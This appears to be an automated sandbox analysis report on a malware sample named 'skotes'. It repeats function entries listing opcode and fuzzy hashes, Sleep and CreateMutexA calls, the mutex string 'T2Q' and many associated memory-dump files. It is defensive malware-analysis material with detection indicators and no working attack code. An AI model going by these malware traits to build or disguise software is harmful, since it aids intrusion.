Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: cd954281b238c00d0b202e9b1af4d11a485b491b8e0103e797368acc5af65d7d
Instruction ID: 1f0cbf2e1215ac15f2246f7138f511d75516d10b36c8b2749e01ec710dbd0aee
Opcode Fuzzy Hash: cd954281b238c00d0b202e9b1af4d11a485b491b8e0103e797368acc5af65d7d
Instruction Fuzzy Hash: 2B316871B101049BEB08EB7CDD88BEDB762EB82314F208A1EE014D73D1C77D5990862B

Function 004BA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: bf4af816e709a41991f358c7e21890098d61d3e6b7b79b37e732b822856b6f25
Instruction ID: 59bc322808f458924ed441b3964e71f3a8c8e1a7edda7ea0e7c5b50958bfe4be
Opcode Fuzzy Hash: bf4af816e709a41991f358c7e21890098d61d3e6b7b79b37e732b822856b6f25
Instruction Fuzzy Hash: CB314871B001449BEB08DB6CDD89BEDB762AB86314F208A1EE014D73D1D77E5991862B

Function 004BA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 4c60ee59496649ecf2f92f073ce01dde9f75c074a1cba73cf26e3310f102a700
Instruction ID: 6e5ba1facd839212f5ea2d79ed8a9f42971b0444ff8b5f6de766ae82817dc0d0
Opcode Fuzzy Hash: 4c60ee59496649ecf2f92f073ce01dde9f75c074a1cba73cf26e3310f102a700
Instruction Fuzzy Hash: 6D317B71B001409BEB08DB7CDD89BEDB662EF82314F208A1EE014D73D1C7BD5994866B

Function 004BA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: b41d3712b544aa8ac45275addd605e3d3da9c824a1eeed421b42846f6eb3c791
Instruction ID: 86024fe3d3610a96c7853b70dbc8ca75738d518a2e3603680ca914e37057384c
Opcode Fuzzy Hash: b41d3712b544aa8ac45275addd605e3d3da9c824a1eeed421b42846f6eb3c791
Instruction Fuzzy Hash: 3B315B717001049BEB18DB7CDC89BEDB762AB82318F248A1EE050D73D1CB7D9991862B

Function 004BA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: dba30ab10ab487bd2031297e9ebb35cab36a6b7e3370cfe57217daca5dcbac9f
Instruction ID: a58db128f9296944150f48e9a6fb363ae3ae05068b2eedf6a82c5b26f343fd04
Opcode Fuzzy Hash: dba30ab10ab487bd2031297e9ebb35cab36a6b7e3370cfe57217daca5dcbac9f
Instruction Fuzzy Hash: 5B316671B041048BEB18DB7CDD89BEDB762EB82314F248A1EE014D73D1CB7D9990866B

Function 004B9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255453770.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255472891.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255491700.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255512749.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255538197.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255562117.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255584843.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255608590.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255627690.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255650036.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255672448.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255693811.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255714377.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255733903.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255753221.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255771448.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255792389.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255813225.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255831706.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255849579.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255902328.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255920837.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255940717.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255962782.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255984178.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256014839.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256038782.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256066496.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2256086867.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2Q
API String ID: 1464230837-1709730413
Opcode ID: 66a7897e9ff0048c16dd879f5b7c094ee578b6e580387c2bfc8b961a6534a93f
Instruction ID: fe10d1866d0ff1fe2dd154213fe00ed816b07ced18ec4db2041254949162eb33
Opcode Fuzzy Hash: 66a7897e9ff0048c16dd879f5b7c094ee578b6e580387c2bfc8b961a6534a93f
Instruction Fuzzy Hash: 98217F717042009BEB189B6CECC5BEDF761EBC1314F20461EE414D73D0C7BD59918626

Function 004BA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 004BA963
CreateMutexA.KERNELBASE(00000000,00000000,00513254), ref: 004BA981

Strings

T2Q, xrefs: 004BA970

Memory Dump Source

Source File: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000003.00000002.2255023333.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255040928.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255122603.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255144312.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255165055.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255269240.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255290722.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255317001.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255361596.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255381611.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255406195.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2255426205.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
